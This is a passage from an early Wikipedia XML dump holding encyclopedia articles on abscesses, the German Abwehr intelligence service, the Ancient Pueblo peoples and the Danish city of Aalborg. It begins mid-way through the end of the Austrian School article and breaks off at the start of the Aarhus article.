*[http://www.gmu.edu/departments/ihs/hsr/s97hsr.html#austrian The Origins of the Austrian School of Economics by John Moser]
*[http://www.dmoz.org/Science/Social_Sciences/Economics/Schools_of_Thought/Austrian_School/ Austrian School] Directory of links from the Open Source Directory
*[http://www.againstpolitics.com/austrian_economics/ A list of academic critiques of Austrian economics]
*[http://austrianecon.com Austrian Economics Forum] Discussion message board concerning Austrian economic theory
* [[:fr:Pascal Salin|Pascal Salin]] (in French)
* [[:fr:Jacques Garello|Jacques Garello]] (in French)
* [[:fr:Jean-Pierre Centi|Jean-Pierre Centi]] (in French)
* [[:fr:Gérard Bramoullé|Gérard Bramoullé]] (in French)
* [[:fr:Henri Lepage|Henri Lepage]] (in French)
* [http://austrianeconomists.typepad.com/ The Austrian Economists]
* [http://austrianaddiction.rationalmind.net Austrian Addiction]


{{macroeconomics-footer}}
[[Category:Economic theories]]
[[Category:Macroeconomics]]
[[Category:Austrian School|*]]

[[cs:Rakouská škola]]
[[da:Den østrigske skole]]
[[de:Österreichische Schule]]
[[et:Austria koolkond]]
[[es:Escuela Austríaca de Economía]]
[[eo:Aŭstria skolo de ekonomiko]]
[[fr:École autrichienne d’économie]]
[[he:האסכולה האוסטרית]]
[[is:Austurrísku hagfræðingarnir]]
[[nl:Oostenrijkse School]]
[[ja:オーストリア学派]]
[[pt:Escola austríaca]]
[[sk:Rakúska škola]]
[[fi:Itävaltalainen taloustiede]]</text>
    </revision>
  </page>
  <page>
    <title>Abscess</title>
    <id>1032</id>
    <revision>
      <id>38909172</id>
      <timestamp>2006-02-09T12:40:07Z</timestamp>
      <contributor>
        <username>Andrew73</username>
        <id>410511</id>
      </contributor>
      <comment>/* Perianal abscess */ wiki</comment>
      <text xml:space="preserve">[[Image:Abszess.jpg|thumb|Abscess]]
An '''abscess''' is a collection of [[pus]] collected in a cavity formed by the tissue on the basis of an [[infection|infectious]] process (usually caused by [[bacterium|bacteria]] or [[parasite]]s) or other foreign materials (e.g. splinters or bullet wounds). It is a [[immune system|defensive reaction]] of the tissue to prevent the spread of infectious materials to other parts of the body.

The organisms or foreign materials that gain access to a part of tissue kill the local [[cell (biology)|cell]]s, release toxins and trigger an [[inflammation|inflammatory response]] by drawing huge amounts of [[white blood cell]]s to the area and increasing the regional [[blood]] flow. So, pus is a collection of local dead tissue cells, white blood cells, infecting organisms or foreign material and toxins released by both organisms and blood cells. The final structure of the abscess is an abscess wall that is formed by the adjacent healthy cells in an attempt to build a barrier around the pus that limits the infected material from neighbouring structures. 

==Manifestations==
The cardinal symptoms and signs of any kind of inflammatory process are redness, heat, swelling and pain. Abscesses may occur in any kind of solid tissue but most frequently on skin surface (where they may be superficial pustules ([[boil]]s) or deep skin abscesses), in the lungs, [[brain abscess|brain]], kidneys and tonsils.  Major complications are spreading of the abscess material to adjacent or remote tissues and extensive regional tissue death ([[gangrene]]).  Abscesses in most parts of the body rarely heal themselves, so prompt medical attention is indicated at the first suspicion of an abscess.

==Treatment==
The abscess should be inspected to identify if foreign objects are a cause, requiring surgical removal.  [[Surgery|Surgical]] drainage of the abscess (e.g. [[Lancing (Surgical Procedure)|lancing]]) is usually indicated once the abscess has developed from a harder serous inflammation to a softer [[pus]] stage.  As ''[[Staphylococcus aureus]]'' [[bacteria]] is a common cause, an anti-Staphylococcus antibiotic such as [[Flucloxacillin]] or [[dicloxacillin]] is used .  It is important to note that [[antibiotic]] therapy alone without surgical drainage of the abscess is seldom effective.  In critical areas where surgery presents a high risk (such as the [[brain]]), surgery may be delayed or used as a last resort.  The drainage of the lung abscess may be performed by positioning the patient in a way that enables the contents to be discharged via the [[respiratory tract]].  Warm compresses and elevation of the limb may be beneficial for skin abscess.

==Perianal abscess==
Perianal abscesses can be seen in patients with for example [[inflammatory bowel disease]] (such as [[Crohn's disease]]) or [[diabetes]].  Often the abscess will start as an internal wound caused by ulceration or hard stool.  This wound typically becomes infected as a result of the normal presence of feces in the rectal area, and then develops into an abscess.  This often presents itself as a lump of tissue near the [[anus]] which grows larger and more painful with the passage of time.  

Like other abscesses, perianal abscesses may require prompt medical treatment, such as an incision and debridement or [[Lancing (surgical procedure)|lancing]].

==See also==
*[[Boil]]
*[[Sterile abscess]]
[[Category:Infectious diseases]]

[[de:Abszess]]
[[es:Absceso]]
[[fr:Pustule]]
[[it:Ascesso]]
[[ms:Bisul]]
[[nl:Abces]]
[[tl:Abseso]]

==External links==
* [http://www.nlm.nih.gov/medlineplus/ency/article/001353.htm MedlinePlus Medical Encyclopedia - Abscess]
* [http://www.nlm.nih.gov/medlineplus/ency/article/000863.htm MedlinePlus Medical Encyclopedia - Skin Abscess]</text>
    </revision>
  </page>
  <page>
    <title>Abwehr</title>
    <id>1033</id>
    <revision>
      <id>41304442</id>
      <timestamp>2006-02-26T11:59:35Z</timestamp>
      <contributor>
        <ip>80.171.20.110</ip>
      </contributor>
      <comment>That has no place in this article</comment>
      <text xml:space="preserve">The '''''Abwehr''''' was a [[Germany|German]] [[intelligence (information gathering)|intelligence]] organization from [[1921]] to [[1944]]. The verb ''abwehren'' means &quot;to ward off&quot;, implying [[counterespionage]]; this term was used as a concession to [[Allies of World War I|Allied]] demands that Germany's post-[[World War I]] intelligence activities be for &quot;defensive&quot; purposes only. After [[February 4]], [[1938]], its name in full was '''''Amt Ausland/Abwehr im Oberkommando der Wehrmacht''''' (Foreign Bureau/Defence of the Armed Forces High Command).

Despite its name, the purpose of the Abwehr was to obtain military intelligence concerning nations of interest to the German government. Its headquarters were located at 76/78 Tirpitzufer in [[Berlin]], adjacent to the offices of the [[Oberkommando der Wehrmacht]] (OKW).

==The Abwehr before Canaris==
The Abwehr was created in 1921 as part of the [[Ministry of Defence (Germany)|Ministry of Defence]] when Germany was allowed to form the [[Reichswehr]], the [[Armed Forces|military organization]] of the [[Weimar Republic]]. The first head was Major Friedrich Gempp, a former deputy to [[Walther Nicolai|Col. Walther Nicolai]], the head of German inteligence during World War I. At that time it was composed of only three officers and seven former officers plus a clerical staff. By the [[1920s]] it was organized into three sections:

*I. [[Reconnaissance]]
*II. [[Cipher]] and Radio Monitoring
*III. Counterespionage

The [[German Navy|German Navy's]] intelligence staff merged with the Abwehr in [[1928]].

In the [[1930s]], with the rise of the [[Nazi]] movement, the Ministry of Defence was reorganized; surprisingly, on [[June 7]], [[1932]], a naval officer, Capt. Konrad Patzig, was named chief of the Abwehr, despite the fact that it was staffed largely by Army officers. But perhaps not surprisingly, due to the small size of the organization and its limited importance at that time, it was unsuitable for a more ambitious Army officer. Another possible factor was that naval officers had more foreign experience than their Army counterparts and understood more of foreign affairs. However, all three services eventually developed their own intelligence staff.

Because of Abwehr-sponsored reconnaissance flights across the border with [[Poland]], Patzig soon had confrontations with [[Heinrich Himmler]], head of the [[Schutzstaffel|SS]]. Army leaders feared that the flights would endanger the secret plans for an attack on Poland. Patzig was fired in January [[1935]] as a result, and was sent to command the new [[pocket battleship]] ''[[Admiral Graf Spee]]''; he later became Chief of Naval Personnel. His replacement was another Reichsmarine captain, [[Wilhelm Canaris]].

==The Abwehr under Canaris==
===Before the War===
[[Image:Wilhelmcanaris.jpg|thumb|150px|right|Wilhelm Canaris]]

Before he took over the Abwehr on [[January 1]], the soon-to-be Admiral Canaris was warned by Patzig of attempts by Himmler and [[Reinhard Heydrich]] to take over all German intelligence organs. Canaris, a master of backroom dealings which were so much a part of life, thought he knew how to deal with them. But even while he tried to maintain an at-least cordial relationship with them, the antagonism between the Abwehr and the SS did not stop with Canaris at the helm.

It came to a head in [[1937]] when [[Adolf Hitler]] decided to help [[Josef Stalin]] in the latter's purge against the [[Red Army|Soviet military]]. Hitler ordered that the German Army staff should be kept in the dark about Stalin's intentions, for fear that they would warn their Soviet counterparts.  Accordingly, special SS teams, accompanied by burglary experts from the criminal police, broke into the secret files of the General Staff and the Abwehr and removed documents related to German-Soviet collaboration. To conceal the thefts, fires were started at the break-ins, which included Abwehr headquarters.

When Hitler replaced the [[Ministry of War]] with the Oberkommando der Wehrmacht (OKW), the Abwehr became its intelligence agency, although with some degree of independence therefrom. Canaris reorganized the agency in [[1938]], establishing the following major departments, which existed until its dissolution:

* I. [[Espionage]]
** '''G'''      false documents
** '''H West''' army west (Anglo-American intelligence)
** '''H Ost'''  army east (Soviet intelligence)
** '''Ht'''     army technical
** '''i'''      communications
** '''L'''      airforce
** '''M'''      naval
** '''T/Lw'''   technical air force
** '''W'''      economics
* II. [[Sabotage]] and special tasks
* III. Counterespionage

Both Army and Navy officers headed these sections.

In this reorganizaton, Canaris took care to surround himself with a hand-picked staff, notably his second-in-command, [[Hans Oster]] and [[Erwin Lahousen|Erwin von Lahousen]], Section II Chief. All but one were not members of the Nazi party. The exception was Rudolf Bamler, who was appointed as chief of Section III to cement Himmler's trust in him, but Canaris made sure to keep a tight leash on him and gave him limited access to operational information.

===The Abwehr During World War II===
Under Canaris the Abwehr expanded and proved relatively efficient during the early years of the war. Its most notable success was [[Operation Nordpol]], which was an operation against the [[Netherlands|Dutch]] underground network, which at the time was supported by the [[United Kingdom|British]] [[Special Operations Executive]]. In March [[1941]], the Germans forced a captured SOE radio operator to transmit messages to Britain in a code that the Germans had obtained. Even though the operator gave every indication that he was compromised, the receiver in Britain did not notice this. Thus the Germans had been able to penetrate the Dutch operation and maintained this state of affairs for two years, capturing agents that were sent and sending false intelligence and [[sabotage]] reports until the British caught on.

But it was ineffective overall for several reasons. Much of its intelligence was deemed politically unacceptable to the German leadership. Moreover, it was in direct competition/conflict with SS intelligence activities under Reinhard Heydrich and [[Walter Schellenberg]]. The animosity between the SS and Abwehr did not stop there. Many of the Abwehr's operatives — including Canaris himself — were in fact anti-Nazi and were involved in many assassination attempts against Hitler, including the most serious one on [[July 20 Plot|July 20, 1944]]. Canaris even employed [[Jew]]s in the Abwehr and used the agency to help a small number of Jews to escape from Germany into [[Switzerland]]. But perhaps the biggest reason was that Canaris himself sought to undermine the Nazi cause. 

Despite the Abwehr's many intelligence coups, its effectiveness was more than negated by agents who — with Canaris's blessing — aided the Allies in whatever covert means were necessary. He personally gave false information which discouraged Hitler from invading [[Switzerland]]. He also persuaded [[Francisco Franco]] not to allow German forces to pass through Spain to invade [[Gibraltar]]. He even provided intelligence to the Allies on German intentions as well. 

The SS continually undermined the Abwehr by putting several Abwehr officers under investigation, believing them (correctly) to be involved in anti-Hitler plots.  The SS also accused Canaris of being defeatist in his intelligence assessments, especially on the Russian campaign. One such briefing reportedly resulting in Hitler seizing Canaris by the lapels, and demanding to know whether the intelligence chief was insinuating that Germany would lose the war.

===The Frau Solf Tea Party and the End of the Abwehr===
{{main|Frau Solf Tea Party}}
The incident which eventually resulted in the dissolution of the Abwehr came to be known as the &quot;[[Frau Solf Tea Party]]&quot;, which took place on [[September 10]], [[1943]].

Frau Johanna (or Hanna) Solf, the widow of Dr. [[Wilhelm Solf]], a former Colonial Minister under [[Kaiser Wilhelm II]] and ex-[[Ambassador]] to [[Japan]], had long been involved in the anti-Nazi intellectual movement in Berlin. At a tea party hosted by her, a new member was included in the circle, an attractive young Swiss doctor named Reckse. It turned out that Dr. Reckse was an agent of the [[Gestapo]], to which he reported on the tea party and turned over several incriminating documents. 

The Solf circle was tipped off and had to flee for their lives, but they were all rounded up on [[January 12]], [[1944]]. Eventually everyone who was involved in the Solf Circle except Frau Solf and her daughter, the Countess [[Lagi Gräfin von Ballestrem]], were executed.

One of those executed was Otto Kiep, an official in the Foreign Office, who had friends in the Abwehr, among whom were [[Erich Vermehren]] and his wife, the former [[Countess Elizabeth von Plettenberg]], who were stationed as agents in [[Istanbul]]. Both were summoned to Berlin by the Gestapo in connection with the Kiep case. Fearing for their lives, they contacted the British and defected.

It was mistakenly believed in Berlin that the Vermehrens absconded with the Abwehr's secret codes and turned them over to the British. That proved to be the last straw for Hitler. Despite the efforts of the Abwehr to shift the blame to the SS or even to the Foreign Ministry, Hitler had had enough of Canaris and he told [[Heinrich Himmler|Himmler]] so twice. He summoned the chief of the Abwehr for a final interview and accused him of allowing the Abwehr to &quot;fall into bits&quot;. Canaris quietly agreed that it was &quot;not surprising&quot;, as Germany was already losing the war.

Hitler fired Canaris on the spot, and on [[February 18]], [[1944]], Hitler signed a decree that abolished the Abwehr. Its functions were taken over by the [[RSHA]]. This action deprived the armed forces (and the anti-Nazi conspirators) of an intelligence service of its own and strengthened Himmler's control over the generals.

Canaris, by this time a [[vice admiral]], was cashiered and given the empty position of chief of the Office of Commercial and Economic Warfare. He was arrested on [[July 23]], [[1944]] in the aftermath of the [[July 20 Plot]] against Hitler and executed shortly before the end of the war, along with Oster his deputy.  The functions of the Abwehr were then totally absorbed by the ''[[Sicherheitsdienst]]'', a sub-office of the ''[[Schutzstaffel]]'' (SS) security command, the [[RSHA]].

==Chiefs of the Abwehr==
* Col. [[Friedrich Gempp]] ([[1921]]&amp;ndash;[[1927]])
* Major [[Günther Schwantes]] (1927&amp;ndash;[[1929]])
* Lt. Col. [[Ferdinand von Bredow]] (1929&amp;ndash;[[1932]])
* Rear Adm. [[Konrad Patzig]] (1932&amp;ndash;[[1935]])
* Vice Adm. [[Wilhelm Canaris]] (1935&amp;ndash;[[1944]])

==See also==
* [[Hans Oster]], Canaris' deputy
* [[Erwin Lahousen|Erwin von Lahousen]], chief of German sabotage
* [[Nikolaus Ritter]]
* [[Dietrich Bonhoeffer]]
* [[Oskar Schindler]], another Abwehr agent

[[Category:German intelligence agencies]]
[[Category:German loanwords]]

[[de:Abwehr (Nachrichtendienst)]]
[[fr:Abwehr]]
[[he:אבווהר]]
[[nl:Abwehr]]
[[nb:Abwehr]]
[[pl:Abwehra]]
[[ru:Абвер]]
[[sr:Абвер]]
[[fi:Abwehr]]
[[sv:Abwehr]]</text>
    </revision>
  </page>
  <page>
    <title>Ancient Pueblo Peoples</title>
    <id>1034</id>
    <revision>
      <id>42103531</id>
      <timestamp>2006-03-03T21:22:50Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced.</comment>
      <text xml:space="preserve">[[Image:mesaverde_cliffpalace_20030914.752.jpg|thumb|300px|Cliff Palace, Mesa Verde National Park]]
'''Ancient Pueblo People''', or '''Ancestral Puebloans''' is a preferred term for the cultural group of people often known as '''Anasazi''' who are the ancestors of the modern [[Pueblo people]]s.  The ancestral Puebloans were a [[prehistoric]] [[Native Americans in the United States|Native American]] civilization centered around the present-day [[Four Corners (United States)|Four Corners]] area of the [[Southwest United States]].  [[Archaeology|Archaeologists]] still debate when a distinct [[culture]] emerged, but the current consensus, based on terminology defined by the [[Pecos Classification]], suggests their emergence around [[12th century BC|1200 B.C.]], the [[Pecos Classification#Early Basketmaker II Era|Basketmaker II Era]].

The civilization is perhaps best-known for the [[jacal]], [[adobe]] and [[sandstone]] dwellings that they built along cliff walls, particularly during the [[Pecos Classification#Pueblo II Era|Pueblo II]] and [[Pecos Classification#Pueblo III Era|Pueblo III]] eras. The best-preserved examples of those dwellings are in [[National parks (United States)|parks]] such as [[Chaco Canyon|Chaco Culture National Historical Park]], [[Mesa Verde National Park]], [[Hovenweep National Monument]], [[Bandelier National Monument]], and [[Canyon de Chelly National Monument]].  These [[village]]s, called [[pueblo]]s by [[Mexico|Mexican]] settlers, were often only accessible by rope or through [[rock climbing]].

The Ancestral Puebloans are also known for their unique style of [[pottery]], today considered valuable for their rarity.  They also created many [[petroglyph]]s and [[pictograph]]s.

The Ancestral Puebloans migrated from their ancient homeland for several complex reasons.  These may include pressure from [[Numic]]-speaking peoples moving onto the Colorado Plateau as well as climate change which resulted in [[agriculture|agricultural]] failures.   Confirming evidence for climatic change in North America is found in excavations of western regions in the Mississippi Valley between A.D. 1150 and 1350 which show long lasting patterns of warmer, wetter winters and cooler, dryer summers.  Most modern Pueblo peoples (whether Keresans, Hopi, or Tanoans) and historians like James W. Loewen, in his book ''Lies Across America'', assert these people did not &quot;vanish,&quot; as is commonly portrayed, but merged into the various pueblo peoples whose descendants still live in [[Arizona]] and [[New Mexico]].  This perspective is not new and was also presented in reports from early 20th century anthropologists, including [[Frank Hamilton Cushing]], [[J. Walter Fewkes]] and [[Alfred V. Kidder]]. Many modern Pueblo tribes trace their lineage from settlements in the Anasazi area and areas inhabited by their cultural neighbors, the [[Mogollon]].  For example, the San Ildefonso [[Pueblo people]] believe that their ancestors lived in both the [[Mesa Verde]] area and the current [[Bandelier National Monument|Bandelier]].
  
==Anasazi as a cultural label==
The term &quot;Anasazi&quot; was established in archaeological terminology through the Pecos Classification system in 1927.  Archaeologist Linda Cordell discussed the word's etymology and use:  
:&quot;''The name &quot;Anasazi&quot; has come to mean &quot;ancient people,&quot; although the word itself is [[Navajo language|Navajo]],  meaning &quot;enemy ancestors.&quot;'' [The Navajo word is ''anaasází'' (&lt;''anaa-'' &quot;enemy&quot;, ''sází'' &quot;ancestor&quot;).] ''It is unfortunate that a non-Pueblo word has come to stand for a tradition that is certainly ancestral Pueblo. The term was first applied to ruins of the Mesa Verde by [[Richard Wetherill]], a rancher and trader who, in 1888-1889, was the first Anglo-American to explore the sites in that area. Wetherill knew and worked with Navajos and understood what the word meant. The name was further sanctioned in archaeology when it was adopted by Alfred V. Kidder, the acknowledged dean of Southwestern Archaeology. Kidder felt that is was less cumbersome than a more technical term he might have used. Subsequently some archaeologists who would try to change the term have worried that because the Pueblos speak different languages, there are different words for &quot;ancestor,&quot; and using one might be offensive to people speaking other languages.''

Some modern Pueblo peoples object to the use of the term ''Anasazi'', although there is still controversy among them on a native alternative. The modern Hopi use the word &quot;''Hisatsinom''&quot; in preference to Anasazi.  However, Navajo Nation Historic Preservation Department (NNHPD) spokeman Ronald Maldonado has indicated the Navajo do not favor use of the term &quot;Ancestral Puebloan.&quot; In fact, reports submitted for review by NNHPD are rejected if they include use of the term.

==Cultural divisions==
Archaeological cultural units such as &quot;Anasazi&quot;, [[Hohokam]], [[Patayan]] or Mogollon are used by [[archaeologists]] to define material culture similarities and differences that may identify prehistoric socio-cultural units which may be understood as equivalent to modern tribes, societies or peoples. The names and divisions are classificatory devices based on theoretical perspectives, analytical methods and data available at the time of analysis and publication.  They are subject to change, not only on the basis of new information and discoveries, but also as attitudes and perspectives change within the scientific community.  It should not be assumed that an archaeological division or culture unit corresponds to a particular language group or to a socio-political entity such as a ''tribe''. 

When making use of modern cultural divisions in the American Southwest, it is important to understand three limitations in the current conventions:
*Archaeological research focuses on items left behind during people&amp;#8217;s activities; fragments of pottery vessels, human remains, stone tools or evidence left from the construction of dwellings.  However, many other aspects of the culture of prehistoric peoples are not tangible.  [[Language]]s spoken by these people and their beliefs and behavior are difficult to decipher from physical materials.  Cultural divisions are tools of the modern scientist, and so should not be considered similar to divisions or relationships the ancient residents may have recognized.  Modern cultures in this region, many of whom claim some of these ancient people as ancestors, contain a striking range of diversity in lifestyles, social organization, language and religious beliefs.  This suggests the ancient people were also more diverse than their material remains may suggest.

*The modern term &amp;#8220;style&amp;#8221; has a bearing on how material items such as pottery or [[architecture]] can be interpreted.  Within a people, different means to accomplish the same goal can be adopted by subsets of the larger group.  For example, in modern Western cultures, there are alternative styles of [[clothing]] that characterized older and younger generations.  Some cultural differences may be based on linear traditions, on teaching from one generation or &amp;#8220;school&amp;#8221; to another.  Other varieties in style may have distinguished between arbitrary groups within a culture, perhaps defining [[status]], [[gender]], [[clan]] or [[guild]] affiliation, religious belief or cultural alliances. Variations may also simply reflect the different resources available in a given time or area.
 
*Defining cultural groups, such as the Ancient Pueblo peoples, tends to create an image of territories separated by clear-cut boundaries, like modern state lines.  These simply did not exist. ''Prehistoric people traded, worshipped and collaborated most often with other nearby groups.  Cultural differences should therefore be understood as ''“clinal”'', &quot;increasing gradually as the distance separating groups also increases.&quot;'' (Plog, p. 72.)  Departures from the expected pattern may occur because of unidentified social or political situations or because of geographic barriers.  In the Southwest, mountain ranges, rivers and, most obviously, the [[Grand Canyon]] can be significant barriers for human communities, likely reducing the frequency of contact with other groups.  Current opinion holds that the closer cultural similarity between the Mogollon and Ancient Pueblos and their greater differences from the [[Hohokam]] and [[Patayan]] is due to both the geography and the variety of climate zones in the Southwest.

==References==
*Cordell, Linda S.  ''Ancient Pueblo Peoples''.  St. Remy Press and Smithsonian Institution, 1994.  ISBN 0-89599-038-5.
*Fagan, Brian M.  &quot;Ancient North America:  Tha Archaeology of a Continent (part five).&quot;  Thames and Hudson, Inc., New York, New York, 1991.  ISBN 0-500-05075-9.        
*[[Plog, Stephen]].  ''Ancient Peoples of the American Southwest''.  Thames and Hudson, London, England, 1997.  ISBN 0-500-27939-X.
*Sofaer, Anna , Director.  &quot;Mystery of Chaco Canyon.&quot;  1999. DVD/VHS. Bullfrog Films. Blurb: &quot;Unveiling the ancient astronomy of southwestern Pueblo Indians.&quot; Sequel to &quot;The Sun Dagger.&quot;

==See also==
* [[Chaco Culture National Historical Park|Chacoans]]
* [[Cliff Palace]]
* [[Hopi]]
* [[Kiva]]
* [[Kokopelli]]
* [[Matrilocality]]
* [[Newspaper Rock State Historic Monument]]
* [[Pueblo people]]
* [[sipapu]]
* [[Taos Pueblo]]
* [[Zuni]]

==External links==
* [http://www.co.blm.gov/ahc/ Homepage of the Anasazi Heritage Center]
*[http://www.holmes.anthropology.museum/southwestpottery/index.html Southwest Pueblo Pottery] Holmes Anthropology Museum
[[Category:Ancient peoples]]
[[Category:Archaeological cultures]]
[[Category:Native American culture]]
[[Category:Native American history]]
[[Category:Pottery]]

[[de:Anasazi]]
[[fa:مردمان باستانی پوئبلو]]
[[fr:Anasazi]]
[[it:Anasazi]]
[[pl:Anasazi]]</text>
    </revision>
  </page>
  <page>
    <title>Aal</title>
    <id>1035</id>
    <revision>
      <id>15899541</id>
      <timestamp>2005-03-28T09:29:04Z</timestamp>
      <contributor>
        <username>N.hong.phuc</username>
        <id>216275</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[AAL]]</text>
    </revision>
  </page>
  <page>
    <title>Aalborg</title>
    <id>1036</id>
    <revision>
      <id>41621262</id>
      <timestamp>2006-02-28T16:00:51Z</timestamp>
      <contributor>
        <ip>62.25.109.194</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Olbo 2004 ubt.jpeg|thumb|right|300px|View of Aalborg railroad station from J.F. Kennedy's Square, 2004]]

'''Aalborg''' is a municipality ([[Danish language|Danish]], ''[[Commune (subnational entity)|kommune]]'') in [[North Jutland County]] on the [[Jutland]] peninsula in northern [[Denmark]].  The municipality straddles the [[Limfjord]], the waterway which connects the [[North Sea]] and the [[Kattegat]] east-to-west, and which separates the main body of the Jutland peninsula from the island of [[Vendsyssel-Thy]] north-to-south.  

It is also the name of the municipality's main city and the site of its municipal council, as well as the name of a [[seaport]].  

The municipality and the town have chosen to retain the traditional spelling of the name as ''Aalborg'', although the new spelling ''Ålborg'' is used in other contexts, such as Ålborg Bay (''Ålborg Bugt''), the body of water which lies to the east of the Jutland peninsula.

The municipality, which includes the island of [[Egholm]], covers an area of 560 [[square kilometre|km²]], and has a total population of 192,353 (2005).  The mayor of the municipality is Henning G. Jensen, a member of the [[Social Democrats (Denmark)|Social Democrats]] (''Socialdemokraterne'') [[Politics of Denmark|political party]].

Neighboring municipalities are [[Sejlflod]] and [[Hals]] to the east, [[Dronninglund]] and [[Brønderslev]] to the north, [[Aabybro]] and [[Nibe]] to the west, and [[Støvring]] and [[Skørping]] to the south.  The waters splitting the municipality are called ''Langerak'' to the east and ''Gjøl Bredning'' to the west.  The island of Egholm is located in ''Gjøl Bredning'', and is connected by [[ferry]] to the city of Aalborg at its southern shore. 

By [[January 1]], [[2007]] Aalborg municipality will, as the result of [[Municipalities of Denmark#Municipality Reform 2007|''Kommunalreformen'' (&quot;The Municipality Reform&quot; of 2007)]], be merged with existing [[Hals]], [[Nibe]], and [[Sejlflod]] municipalities to form the new Aalborg municipality.  This will create a municipality with an area of 1,171 [[square kilometre|km²]].  The new municipality will belong to the new [[Region Nordjylland]] (&quot;North Jutland Region&quot;).

==Surroundings==
The area is typical for the north of Jutland.  To the west the Limfjord broadens into an irregular lake (salt water), with low, marshy shores and many islands.  Northwest is [[Store Vildmose]] (&quot;Greater Wild bog&quot;), a swamp where a mirage is sometimes seen in summer. Southeast lies the similar [[Lille Vildmose]] (&quot;Lesser Wild bog&quot;).  Store Vildmose was drained and farmed in the beginning of the 20th century, and Lille Vildmose is now the largest [[Bog|moor]] in Denmark.

==The city of Aalborg==
The city of Aalborg is the fourth largest city in Denmark— after [[Copenhagen]], [[Aarhus]] and [[Odense]].  It is the location of [[Aalborg Air Base]], an important base of the [[Danish Air Force|Danish air force]], and is the seat of a [[Lutheran]] [[bishop]]. 

Railway connects Aalborg with [[Hjørring]], [[Frederikshavn]], and [[Skagen]] to the north, and with [[Aarhus]] and the lines from [[Germany]] to the south, as well as to [[Copenhagen]] in the east over the island of [[Funen]].

The harbour is good and safe, though fairly difficult to access.

===History===
Aalborg traces its history back over 1000 years.  It was originally settled as a trading post, because of its position on the Limfjord. The sites of what were two settlements and a visible burial ground can be seen on [[Lindholm Høje]], a hill overlooking the city.  The size of these settlements emphasise the significance of this place as a crossroads.

The first mention of Aalborg under its original name ''Alabu'', is found on a coin dated to 1040. 

During the [[Middle Ages]], Aalborg prospered and became one of the largest cities in Denmark.  This prosperity was further enhanced when in [[1516]] Aalborg was granted a [[monopoly]] in salt herring. 

Aalborg received town privileges in [[1342]] and the bishopric dates from [[1554]].

During the German invasion of Denmark in 1940, the Aalborg Aerodrome was captured by Nazi paratroopers very early in the action.

===Industry===
Aalborg is a growing industrial and commercial centre, exporting grain, cement and fish. 

It is home to [[De Danske Spritfabrikker]]'s (&quot;Danish Distillers&quot;) [[akvavit|aquavit]] [[snaps]], production facility for the distillation of the Aalborg family of akvavits consisting of 17 different brands.  Danish Distillers is Scandinavia's largest producer and supplier of spirits for consumption, and is the world's largest producer and exporter of aquavit, supplying over 140 geographic markets.

It is also the centre of a growing telecomunications industry originating from the [[University of Aalborg|Aalborg University]].

[[Image:Aalborg NyTorv 2004 ubt.jpeg|thumb|300px|left|Nytorv, next to [[Limfjord]].]]

===Carnival in Aalborg===
The annual carnival takes place the last weekend in May.

During the carnival, Aalborg receives about 100,000 people. Friday “The Battle of Carnival Bands” is an exciting and colourful evening with processions through the city when all the participating groups compete to be the leading carnival group. 

The carnival itself is the following Saturday – on this day the city centre is full of life. The streets are filled with gaily dressed people who are in a real spring mood. In Kilde Park concerts are given from various stages all day to midnight. The Carnival ends with a grand firework display on the harbour.

===Architecture and tourist attractions===
The old castle [[Aalborghus Castle]] (''Aalborghus Slot'') and some picturesque houses of the [[17th century]] remain in the center of the town. The [[Timber framing|half-timbered]] (''bindingsværk'')  castle was built in 1550 by King [[Christian III of Denmark|Christian III]], and was converted to government administration offices in the 1950s.

[[Budolfi Church]] cathedral dates mostly from the middle of the [[18th century]], while ''Vor Frue Kirke'' (Church of Our Lady) was partially burnt in [[1894]].  The foundations of both churches are from the [[14th century]] or earlier.  

There are also an ancient hospital and a museum of art and antiquities.  

On the north side of the Limfjord is [[Nørresundby]], which is connected to Aalborg by a road bridge, an iron railway bridge, as well as a motorway tunnel running under the Limfjord.  Nørresundby is the site of the Lindholm Høje settlement and burial ground from the Germanic Iron Age and [[Viking]] times. There is also a museum on the site.

[[Aalborgtårnet]]. A tripod tower erected in 1933. The tower still gives an exquisite view over the
fjord and the city from its 105 m rise over the sea level. 

&lt;!--==Famous residents of the municipality==--&gt;
==Twinning==
Aalborg maintains cultural, economic and educational ties with some 25 cities around the globe, among others [[Edinburgh]], [[Scotland]]. Thus, Aalborg has the most twin cities in Denmark. Every five years Aalborg gathers youth from the majority of its twin cities for a week of sports games, known as Ungdomslegene (The Youth Games).

==Other information==
The city has a [[football (soccer)|football]] team playing in the Danish Superleague, [[Aalborg Boldspilklub]], which is known as AaB.

The city has the highest number of [[hairdresser]] shops, [[tattoo]] shops, bars, night clubs, pubs and [[solariums]] per inhabitant in [[Denmark]].

== See Also ==

[[Aalborg_monastery]]

==External links==
{{commons|Category:Aalborg municipality}}
* [http://www.aalborg.dk/ Municipality's official website]
* [http://www.detnyeaalborg.dk/ The new Aalborg municipality's website (Danish only)]
* [http://www.visitaalborg.com/ Aalborg tourist office]
* [http://www.aau.dk/ Aalborg University]
* [http://www.aalborgakvavit.dk/ Aalborg Akvavit]
* [http://www.aalborgtaarnet.com/ Ålborgtårnet]
* [http://maps.google.com/maps?hl=en&amp;t=k&amp;ll=57.039983,9.944344&amp;spn=0.084614,0.299377&amp;t=k Satellite image from Google Maps]
* [http://www.interaalborg.dk/ InterAalborg.dk An independent guide and information of the city. Website made by Aalborg University students]

==References==
{{Wikisource1911Enc|Aalborg}}
* Municipal statistics: [http://www2.netborger.dk/Kommunefakta/ NetBorger Kommunefakta], delivered from [http://www.kmd.dk/ KMD] aka Kommunedata (Municipal Data)
* Municipal mergers and neighbors: [http://kommune.eniro.dk/region/media/nyekommuner.shtml Eniro new municipalities map]

[[Category:Municipalities of Denmark]]
[[Category:Cities and towns in Denmark]]

[[bg:Алборг]]
[[da:Ålborg]]
[[de:Aalborg]]
[[es:Aalborg]]
[[fr:Aalborg]]
[[gl:Aalborg - Ålborg]]
[[it:Aalborg]]
[[hu:Aalborg]]
[[nl:Aalborg]]
[[no:Ålborg]]
[[pl:Aalborg]]
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[[sv:Ålborg]]</text>
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  <page>
    <title>Aarhus</title>
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      <minor />
      <comment>/* Culture */</comment>
      <text xml:space="preserve">:''For the Aarhus convention on public participation, see [[Aarhus Convention]].''

[[Image:Århus Rådhus.jpg|thumb|right|The [[City hall]] of Aarhus.]]
